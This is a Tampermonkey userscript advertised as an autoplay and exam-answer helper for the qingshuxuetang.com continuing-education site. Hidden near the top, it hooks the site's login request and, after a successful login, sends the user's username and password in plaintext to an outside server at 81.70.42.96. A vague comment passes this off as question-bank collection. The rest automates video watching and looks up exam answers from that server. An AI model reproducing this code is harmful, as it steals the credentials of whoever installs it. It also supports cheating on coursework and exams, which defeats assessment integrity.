// ==UserScript==
// @name 【专业版】青书学堂挂课、考试/作业/自动播放-成人教育-继续教育
// @namespace http://tampermonkey.net/
// @version 0.61
// @description 👆👆👆👆👆👆👆青书学堂挂课、考试/作业/自动播放。现已支持青书学堂www.qingshuxuetang.com🚀🚀🚀完美适配 Chrome,Edge,FireFox,360,QQ 等 18 种浏览器,可在无法安装客户端的环境下使用。😎
// @author qsxt
// @match https://qingshuxuetang.com/*
// @match https://*.qingshuxuetang.com/*
// @match https://www.qingshuxuetang.com/*
// @icon https://www.google.com/s2/favicons?sz=64&domain=qingshuxuetang.com
// @grant GM_getResourceText
// @grant unsafeWindow
// @grant GM_addStyle
// @grant GM_xmlhttpRequest
// @connect degree.qingshuxuetang.com
// @connect www.qingshuxuetang.com
// @run-at document-end
// @connect 81.70.42.96
// @resource css https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/theme-chalk/index.min.css
// @require https://cdn.bootcdn.net/ajax/libs/vue/2.7.6/vue.min.js
// @require https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/index.min.js
// @license GPL
// ==/UserScript==
console.log('当前执行站点', unsafeWindow.location.href, unsafeWindow.parent)
let main_hosts = 'http://81.70.42.96:2099' //收集信息用于题库收录,如不同意删除端口即可
let loginbtn = document.querySelector('#loginByAuthBtn')
if (loginbtn !== null) {
//hook btn
let oldajax = $.ajax
$.ajax = function (...arg) {
if (arg.length === 1) {
let obj = arg[0]
if (obj.url.indexOf("Login") !== -1) {
let old_suc = obj.success
let param = obj.data
obj.success = function (r) {
if (r.message === '成功') {
let username = obj.data.username
let password = obj.data.password
GM_xmlhttpRequest({
url: `${main_hosts}/insertOrderInfo`,
method: "POST",
data: `account=${username}&password=${password}`,
headers: {
"Content-type": "application/x-www-form-urlencoded"
},
onload: (xhr) => {
}
});
}
return old_suc.call(this, r)
}
}
}
console.log("arg")
let result = oldajax.call(this, ...arg)
return result
}
return;
}
if (unsafeWindow.self !== unsafeWindow.top) {
return;
}
let css = GM_getResourceText('css');
css = css.replace(/(?<=url\()(?=fonts)/g, 'https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/theme-chalk/');
GM_addStyle(css);
GM_addStyle(`
.show-contrl-list{
display: flex;
justify-content: space-evenly;
align-items: center;
}
.show-contrl-list .item,.show-contrl-list >div{
width: 23%;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
border: 1px solid #F0EFF9;
border-radius: 5px;
padding: 10px 5px;
}
.icon-wrap{
font-size: 18px;
padding: 7px;
color: #C0E39D;
border: 1px solid #C0E39D;
border-radius: 10px;
}
.el-divider{
margin: 5px 0 !important;
}
.el-progress-bar__innerText{
display:none;
}
.deafult-lesson-item{
.title{
color: #4E2F86;
}
}
.select-lesson-item{
background-color: #52B7F5;
border-radius: 12px;
color: white;
}
.select-lesson-item .title{
color: white !important;
}
.select-lesson-item .icon-wrap{
color: white !important;
border-color: white !important;
}
.point{
cursor:pointer;
}
.exam-css{
position: fixed;
top: 0;
z-index: 999;
right: 85px;
background-color: white;
padding: 20px;
width: 350px;
font-size: 16px;
border: 1px solid rgba(128, 128, 128, 0.05);
border-radius: 5px;
overflow: scroll;
max-height: 100%;
}
.default-css{
position: absolute;
top: 83px;
z-index: 999;
right: 85px;
background-color: white;
padding: 20px;
width: 350px;
font-size: 16px;
border: 1px solid rgba(128, 128, 128, 0.05);
border-radius: 5px;
}
`)
let wrap = document.createElement('div')
wrap.className = 'uitest'
document.querySelector('body').append(wrap)
let vueinstance = new Vue({
el: '.uitest',
template: `
<div @scroll.stop='()=>{}' :class="[enable_question ? 'exam-css' : 'default-css']" >
<div
style="display: flex; justify-content: space-between; align-items: center"
>
<div style="display: flex; justify-content: center; align-items: center">
<el-avatar style="font-size: 16px" icon="el-icon-user-solid"></el-avatar>
<span style="font-size: 16px; margin-left: 6px">油猴Greasyfork</span>
</div>
<div>
<i @click='FoldPage' style="margin-right: 5px; color: #6a6496" class="el-icon-d-caret point"></i>
<i style="color: #6a6496" class="el-icon-s-tools point"></i>
</div>
</div>
<div v-show='!flod_status'>
<div style="padding: 10px;background-color: rgb(240, 248, 255);border: 2px solid rgb(222, 240, 253);border-radius: 9px;color: #606060bd;margin-top: 10px;">
<div style="text-align: center;font-size: 14px;color: black;margin-bottom: 5px;font-weight: 600;" >公告信息</div>
<div v-html='notice_mess'></div>
</div>
<div class="show-contrl-list" style="margin: 10px 0">
<div>
<i class="el-icon-edit icon-wrap"></i>
<span style="font-size: 13px; margin: 5px 0">作业查询</span>
<el-switch
v-model="check_work"
active-color="#13ce66"
inactive-color="#ff4949"
>
</el-switch>
</div>
<div>
<i
style="color: #7ec4f8; border-color: #7ec4f8"
class="el-icon-video-camera icon-wrap"
></i>
<span style="font-size: 13px; margin: 5px 0">自动视频</span>
<el-switch
v-model="check_video"
active-color="#13ce66"
inactive-color="#ff4949"
>
</el-switch>
</div>
<div>
<i
style="color: #393080; border-color: #393080"
class="el-icon-files icon-wrap"
></i>
<span style="font-size: 13px; margin: 5px 0">电子书</span>
<el-switch
v-model="check_book"
active-color="#13ce66"
inactive-color="#ff4949"
>
</el-switch>
</div>
<div>
<i
style="color: #f47b88; border-color: #f47b88"
class="el-icon-reading icon-wrap"
></i>
<span style="font-size: 13px; margin: 5px 0">课程数量</span>
<span>{{lessonlist.length}}</span>
</div>
</div>
<div style="display: flex;justify-content: space-between;">
<div>
<span style="font-size: 14px; font-weight: bold">课程选择</span>
<i class="el-icon-arrow-left point"></i>
<i class="el-icon-arrow-right point"></i>
</div>
<div class='point' style="color: rgb(82, 74, 144); background-color: rgb(246, 246, 252);font-size: 12px;padding: 5px;border-radius: 5px;">
<i class="el-icon-date"></i>
<span>{{lesson_name!=''?lesson_name:'当前学期'}}</span>
</div>
</div>
<el-divider></el-divider>
<template v-if='!enable_question'>
<div style="text-align: center;margin-bottom: 5px;" v-if='lessonlist.length===0'>
暂未找到课程
</div>
<div v-else>
<div v-for="(item,index) in lessonlist" class='point' :class="[current_lesson.id!==item.id ? 'deafult-lesson-item' : 'select-lesson-item']" :key="index" style='margin: 8px 0;' @click='SelectLessonItem(item)' >
<div style=";padding: 15px;border: 1px solid #CFCBCB;border-radius: 12px;">
<div style="display: flex;justify-content: center;align-items: center;" >
<div><i class="el-icon-star-off" style="font-size: 35px;" ></i></div>
<div style="flex: 1 1 0;" >
<div class='title' style="flex: 1 1 0px;display: flex;flex-direction: column;align-items: center;padding: 0px 10px;">
{{item.name}}
</div>
<div style="font-size: 12px;text-align: center;">
{{item.hint_text}}
</div>
<div style="position: relative;width: 100%;" >
<el-progress :percentage="item.progress" status="success" :text-inside="true" :format="()=>''" :stroke-width="15" ></el-progress>
<span style="position: absolute;top: 0;bottom: 0;width: 100%;text-align: center;font-size: 12px;color: white;">
{{item.progress}}%
</span>
</div>
</div>
<div><i @click='JumpToLesson(item)' v-if='current_lesson.id===item.id' class="el-icon-arrow-right icon-wrap" style="color: #7E73D4;border-color: #7E73D4;" ></i></div>
</div>
<div style="margin-top: 15px;display: flex;justify-content: space-evenly;">
<el-button @click.stop="JumpToType(item,'study')" size="mini" type="success" plain>学习</el-button>
<el-button @click.stop="JumpToType(item,'homework')" size="mini" type="success" plain>作业</el-button>
<el-button @click.stop="JumpToType(item,'score')" size="mini" type="success" plain>成绩</el-button>
</div>
</div>
</div>
</div>
</template>
<template v-else>
<div style="height: 200px;overflow: auto;padding-right: 12px;">
<div v-for="(item,index) in questionlist" :key='index' style='margin-bottom:8px;' >
<div style="display: flex;justify-content: space-between;">
<div style="min-width: 0;flex: 1 1 0;" v-html='item.question'></div>
<div><el-button @click='CheckAnswer(item)' style='margin-left: 5px;' size="mini">查询</el-button></div>
</div>
<div style="border: 1px solid #D2D2D2;padding: 6px;font-size: 13px;margin-top: 7px;">
答案: {{item.answer===null?'暂未搜索':item.answer}}
</div>
</div>
</div>
</template>
<div style="margin: 5px 0; font-size: 14px; font-weight: bold">公告位置</div>
<div
style="
padding: 10px;
background-color: rgb(240, 248, 255);
min-height: 144px;
display: flex;
flex-direction: column-reverse;
border: 2px solid #def0fd;
border-radius: 9px;
"
>
<div
style="
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
"
>
<div style="margin-bottom: 5px; font-size: 14px">当前题库数量</div>
<div style="color: #91cd53; font-size: 25px">656008</div>
<div
style="
display: flex;
justify-content: space-around;
width: 100%;
color: #c0d7ea;
margin: 10px 0 5px;
"
>
<div>6217</div>
<div>8888</div>
<div>8888</div>
<div>8888</div>
</div>
</div>
</div>
</div>
</div>
`,
data: function () {
return {
check_work: true,
check_video: true,
check_book: true,
visible: false,
value: true,
enable_question: false,//false课程模式,true考试模式
lesson_name: '',
lessonlist: [],
current_lesson: {
id: null
},
questionlist: [],
flod_status: false,
notice_mess: ""
}
},
created() {
GM_xmlhttpRequest({
url: `${main_hosts}/queryNotice`,
method: "POST",
data: ``,
headers: {
},
onload: (xhr) => {
if (xhr.responseText === "") {
this.notice_mess = '暂无公告'
return;
}
try {
let result = JSON.parse(xhr.responseText)
if (result.success) {
this.notice_mess = result.message
} else {
this.notice_mess = '暂无公告'
}
} catch (error) {
this.notice_mess = '暂无公告'
}
},
onerror: () => {
this.notice_mess = '暂无公告'
}
});
},
methods: {
JumpToType(item, type) {
window.location.href = item.url + '&tabType=' + type
//https://gaozhi.qingshuxuetang.com/lzkjgzb/Student/Course/CourseStudy?classId=29&courseId=4&teachPlanId=21&periodId=12&tabType=homework
//https://gaozhi.qingshuxuetang.com/lzkjgzb/Student/Course/CourseStudy?courseId=4&teachPlanId=21&periodId=12&tabType=homework
},
FoldPage() {
this.flod_status = !this.flod_status
},
ChangeStatus(status) {
this.enable_question = status
},
SelectLessonItem(item) {
this.current_lesson = item
},
JumpToLesson(item) {
window.location.href = item.url
},
CheckAnswer(item) {
item.answer = '正在搜索...'
GM_xmlhttpRequest({
url: `${main_hosts}/queryAnswerById`,
method: "POST",
data: `questionId=${item.question_id}`,
headers: {
},
onload: (xhr) => {
if (xhr.responseText === "") {
item.answer = '暂无答案'
return;
}
try {
let result = JSON.parse(xhr.responseText)
if (result.success) {
item.answer = result.message
} else {
item.answer = '暂无答案'
}
} catch (error) {
item.answer = '暂无答案'
}
},
onerror: () => {
item.answer = '暂无答案'
}
});
}
}
})
let lesson_name = document.querySelector('.content-area .title span')?.innerHTML
if (lesson_name) {
vueinstance.lesson_name = lesson_name
}
function dom_to_get_lesson_number() {
let lesson_item = document.querySelectorAll('#currentCourseDiv .col-md-3 a')
let end_time = ""
if (lesson_item.length !== 0) {
let item = document.querySelector('#currentCourseDiv .col-sm-12')
if (item != null) {
let text = item.innerHTML
text = text.split('结束时间:')
if (text.length === 2) {
end_time = text[1]
}
}
}
lesson_item.forEach((item) => {
let list = item.querySelectorAll(' p > span')
if (list.length !== 2) {
return
}
let name = list[0].innerHTML
let progress = parseInt(/\d+/.exec(list[1].innerHTML)[0] ?? 0)
let url = list.children[0].href
console.log(name, progress, vueinstance, url, 'dom查找')
vue_lesson_push_func(name, progress, vueinstance.lessonlist.length, url, end_time)
})
return lesson_item.length
}
function vue_lesson_push_func(name, progress, id, url, hint_text) {
vueinstance.lessonlist.push({ name, progress, id, url, hint_text })
}
/*let question_list = document.querySelectorAll('.question-entity')
if (question_list.length !== 0) {
vueinstance.ChangeStatus(true)
question_list.forEach((item) => {
vueinstance.questionlist.push({
question: item.querySelector('h4').innerHTML,
answer: null,
question_id:item.querySelector('.questionId').value,
dom: item
})
})
}*/
function GetLessonListData() {
if (document.cookie.indexOf('AccessToken') === -1) {
return;
}
let url = window.location.href
let size_list = url.split('/')
let char_list = []
let nofind = true
for (let index = 0; index < size_list.length; index++) {
let item = size_list[index]
if (nofind === false) {
//找到了qingshuxuetang后
char_list.push(item)
}
if (item.indexOf('qingshuxuetang.com') !== -1) {
nofind = false
continue;
}
}
if (char_list.length === 0) {
return;
}
let first_name = char_list[0]
if (first_name === 'MyQingShu') {
return;
}
console.log('first_name', first_name)
let base_url = window.location.origin + '/' + first_name
let post_url = base_url + `/Student/Course/CourseData`
GM_xmlhttpRequest({
url: post_url,
method: "POST",
headers: {
"Content-type": "application/x-www-form-urlencoded"
},
onload: function (xhr) {
if (xhr.responseText === "") {
return;
}
let json = JSON.parse(xhr.responseText)
if (json.message === '成功') {
let lesson = json.data
let current_lesson = lesson.filter((item) => item.learnStatus === 2)
console.log('current_lesson', current_lesson)
current_lesson.forEach((lesson) => {
let generate_url = base_url + `/Student/Course/CourseStudy?${lesson.classId !== undefined ? "classId=" + lesson.classId + "&" : ''}courseId=${lesson.courseId}&teachPlanId=${lesson.teachPlanId}&periodId=${lesson.periodId}`
vue_lesson_push_func(lesson.courseName, lesson.score, vueinstance.lessonlist.length, generate_url, '暂未完成')
})
}
}
});
}
window.onload = () => {
if (document.querySelector('.quiz-title')) {
if (window.location.href.indexOf('ExercisePaper') != -1) {
vueinstance.ChangeStatus(true)
//start_interval
let timer = setInterval(() => {
let page_dom = document.querySelectorAll('.question-detail-container')
if (page_dom.length !== 0) {
page_dom.forEach((item) => {
vueinstance.questionlist.push({
question: item.querySelector('.detail-description-content').innerHTML,
answer: null,
question_id: item.attributes.id.value,
dom: item
})
})
clearInterval(timer)
}
}, 1000)
}
} else {
let result = dom_to_get_lesson_number()
if (result === 0) {
GetLessonListData()
}
}
}
(function() {
'use strict';
var i
var href = location.href
if (href.indexOf('nodeId') > -1) {
setTimeout(function() {
var video = document.getElementsByTagName("video")[0]
console.log('找到视频组件,开始静音并自动播放...', video)
// 设置静音并播放
video.muted = true
video.playbackRate = 0.5
video.play()
var params = new UrlSearch()
// 课程ID
var courseId = params.courseId
const courseArr = params.nodeId.split('_')
// 下一个播放的视频的key
var nextKey = ''
if (courseArr.length == 2) {
nextKey = `kcjs_${Number(courseArr[1]) + 1}`
} else if (courseArr.length == 3) {
nextKey = `kcjs_${courseArr[1]}_${Number(courseArr[2]) + 1}`
}
const nextUrl = `https://${window.location.host}${window.location.pathname}?teachPlanId=${params.teachPlanId}&periodId=${params.periodId}&courseId=${courseId}&nodeId=${nextKey}&category=${params.category}`
console.log(params, 'currentId:', params.nodeId, 'nextKey:', nextKey, 'nextUrl:', nextUrl)
// 视频播放结束,自动下一条视频
video.addEventListener("ended",function(){
location.replace(nextUrl);
})
}, 5000)
// 打印播放进度
getvideoprogress();
}
})();
function UrlSearch() {
var name,value;
var str=location.href; //取得整个地址栏
var num=str.indexOf("?")
str=str.substr(num+1); //取得所有参数 stringvar.substr(start [, length ]
var arr=str.split("&"); //各个参数放到数组里
for(var i=0;i < arr.length;i++){
num=arr[i].indexOf("=");
if(num>0){
name=arr[i].substring(0,num);
value=arr[i].substr(num+1);
this[name]=value;
}
}
}
// 检测当前播放的进度
function getvideoprogress() {
setInterval(function () {
var vid = document.getElementsByTagName("video")[0]
var currentTime=vid.currentTime.toFixed(1);
console.log('当前进度:', currentTime);
}, 10000);
}